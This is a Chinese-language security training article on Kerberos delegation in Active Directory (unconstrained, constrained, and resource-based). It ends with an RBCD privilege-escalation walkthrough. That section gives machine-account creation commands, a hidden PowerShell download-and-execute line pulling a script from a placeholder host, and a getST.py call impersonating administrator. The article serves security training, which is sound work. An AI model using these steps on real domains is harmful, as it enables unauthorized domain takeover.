本文来自宽字节安全第一期学员Unicode投稿。第二期线下培训预计十一月底开班，欢迎咨询。

委派

接受委派的用户只是服务账户或计算机用户

只有域管机器可以配置 并且可以修改非约束和约束委派

约束和非约束的鉴权都是在web server上 必须是带有SPN的用户

委派:通过委派 资源服务可以知道是谁在访问它,以及是否有权限访问

LDAP参数

• msDs-AllowedToDelegateTo 约束委派
• msDs-AllowedToActOnBehalfOfOtherIdentity 基于资源的约束委派
• UserAccountControl

非约束委派

如果某台机器 配置了非约束的委派 那么这个机器 就可以接受任何用户的委派请求其他所有服务(传递一个TGT票据)

使用无约束委派，被授予此权限的服务器或服务帐户能够模拟用户对任何主机上的任何服务进行身份验证。

服务账户在接收到该 TGS 后，获取到其中的用户 TGT，将用户 TGT 放入 LSASS 中存储供后续使用

拿这个TGT去域控申请ST票据协议的一个简单的过程

1. 用户通过发送KRB_AS_REQ消息请求可转发 TGT（forwardable TGT，为了方便我们称为TGT1）。
2. KDC在KRB_AS_REP消息中返回TGT1。
3. 用户再通过TGT1向KDC请求转发TGT（forwardedTGT，我们称为TGT2）。
4. 在KRB_TGS_REP消息中返回转发TGT2。
5. 用户使用TGT1向KDC申请访问Service1的ST（ServiceTicket)。
6. TGS返回给用户一个ST。
7. 用户发送KRB_AP_REQ请求至Service1，这个请求中包含了TGT1和ST、TGT2、TGT2的SessionKey。
8. Service1使用用户的TGT2通过KRB_TGS_REQ发送给KDC，以用户的名义请求能够访问Service2的票据。
9. KDC在KRB_TGS_REP消息中返回Service2到Service1的票据。
10. Service1以用户的名义像Service2发送KRB_AP_REQ请求。
11. Service2响应步骤10中Service1的请求。
12. Service1响应步骤7中用户的请求。
13. 在这个过程中的TGT转发机制，没有限制Service1对TGT2的使用，也就是说Service1可以通过TGT2来请求任意服务。
14. KDC返回步骤13中请求的票据。
15. 15和16即为Service1通过模拟用户来访问其他Service。

打印机-强制身份认证

约束委派

如果计算机或服务帐户设置了约束委派，则授权服务列表应与此标志相关联。约束委派 和 非约束委派 区别是只能访问委派的那个机器 并是指定的服务

完整的约束委派总结

协议流程：

1. 用户向Service1发送请求。
2. 这时在官方文档中的介绍是在这一流程开始之前Service1已经通过KRB_AS_REQ得到了用户用来访问Service1的TGT，然后通过S4U2self扩展模拟用户向KDC请求ST。
3. KDC这时返回给Service1一个用于用户验证Service1的ST（我们称为ST1），并且Service1用这个ST1完成和用户的验证过程。
4. Service1在步骤3使用模拟用户申请的ST1完成与用户的验证，然后响应用户。注：这个过程中其实Service1是获得了用户的TGT和ST1的，但是S4U2Self扩展不允许Service1代表用户去请求其他的服务。
5. 用户再次向Service1发起请求，此时Service1需要以用户的身份访问Service2。这里官方文档提到了两个点：A.Service1已经验证通过，并且有一个有效的TGT。B.Service1有从用户到Service1的forwardableST（可转发ST）。个人认为这里的forwardable ST其实也就是ST1。
6. Service1代表用户向Service2请求一个用于认证Service2的ST（我们称为ST2）。用户在ST1中通过cname（client name）和crealm（client realm）字段标识。
7. KDC在接收到步骤6中Service1的请求之后，会验证PAC（特权属性证书，在第一篇中有说明）的数字签名。如果验证成功或者这个请求没有PAC（不能验证失败），KDC将返回ST2给Service1，不过这个ST2中cname和crealm标识的是用户而不是Service1。
8. Service1代表用户使用ST2请求Service2。Service2判断这个请求来自已经通过KDC验证的用户。
9. Service2响应Service1的请求。
10. Service1响应用户的请求。

RBCD基于资源的约束委派

windows server2012以后添加的RBCD我允许此帐户列表 [...] 代表其他人向我进行身份验证

完整基于资源的约束委派

利用场景：

• 不需要创建机器用户直接拉取

rotten tomato

个人PC环境

• 创建一个机器用户 (拉进来一个用户)
• 将创建的机器用户的SID写入到目标的msDS-AllowedToActOnBehalfOfOtherldentity 属性
• 通过S4U2SELF.S4U2Proxy获取高权票据

第一步：

python39 addcomputer.py demia.org/demi -dc-ip 192.168.146.152 -computer-name testa$ -computer-pass admin@123 -debug

python39 addcomputer.py 域名/账户 -dc-ip 192.168.146.152 -computer-name 机器账户 -computer-pass 机器密码 -debug

powershell添加

powershell.exe -exec bypass -nop -w hidden -c "import-module .addcomputer.ps1;New-MachineAccount -MachineAccount test4 -Password admin@123"

powershell.exe -exec bypass -nop -w hidden -c "IEX((new-object net.webclient).downloadstring('http://xxx/addcomputer.ps1'));New-MachineAccount -MachineAccount test -Password admin@123" 

第二步：

RBCD.exe 192.168.146.152 demia.org testa$

第三步：

python3 getST.py -dc-ip 192.168.92.139 unicode/fuck$ -spn cifs/win10 -impersonate administrator

server环境

机器用户 链接到域控 在域内对外访问都是机器用户

• SYSTEM
• IIS
• SQLSERVER

流程：

• 用当前身份链接LDAP
• 将机器用户的SID写入到自身的AllowedToActOnBehalfOfOtherldentity 属性
• 通过S4U2SELF.S4U2Proxy获取高权票据

A-A 可以自己写自己